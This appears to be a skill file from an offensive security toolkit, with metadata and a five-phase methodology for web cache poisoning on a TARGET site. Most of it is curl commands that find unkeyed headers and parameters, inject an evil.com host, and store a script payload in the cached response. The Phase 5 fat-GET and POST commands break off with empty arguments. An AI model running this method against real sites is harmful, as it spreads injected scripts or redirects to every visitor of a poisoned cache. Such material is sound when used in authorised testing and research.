attack-cache-poison

name	attack-cache-poison
description	Web cache poisoning — unkeyed header/parameter injection to serve malicious content to all users
category	web-application
version	1.0
author	cyberstrike-official
tags	["cache-poisoning","web","xss","attack"]
tech_stack	["web"]
cwe_ids	["CWE-444","CWE-525"]
chains_with	["attack-host-header","attack-open-redirect"]
prerequisites	[]
severity_boost	{"attack-host-header":"Host header + cache = stored XSS/redirect affecting all users"}

Web Cache Poisoning

Objective

Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.

Testing Methodology

Phase 1: Identify Cache Behavior

# Check cache headers
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"

# Identify cache key components (vary header)
curl -s -D- https://TARGET/ | grep -i "vary"

Phase 2: Find Unkeyed Inputs

Test headers that are reflected in response but NOT part of cache key:

# X-Forwarded-Host
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"

# X-Forwarded-Scheme
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"

# X-Original-URL / X-Rewrite-URL
curl -s https://TARGET/ -H "X-Original-URL: /admin"

# Custom headers
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"

Phase 3: Cache Poisoning via Unkeyed Header

# Poison with XSS payload
curl -s https://TARGET/ \
  -H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"

# Wait for cache to store, then verify
curl -s https://TARGET/ | grep "alert(1)"

Phase 4: Unkeyed Parameter Poisoning

# Find parameters not in cache key
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
curl -s "https://TARGET/?utm_source=evil" | grep "evil"

# Reflected unkeyed parameter → stored XSS
curl -s "https://TARGET/?evil=<script>alert(1)</script>"

Phase 5: Fat GET / POST-based Poisoning

# Fat GET — body in GET request
curl -s https://TARGET/ -X GET -d 


curl -s https://TARGET/ -X POST \
  -H  \
  -d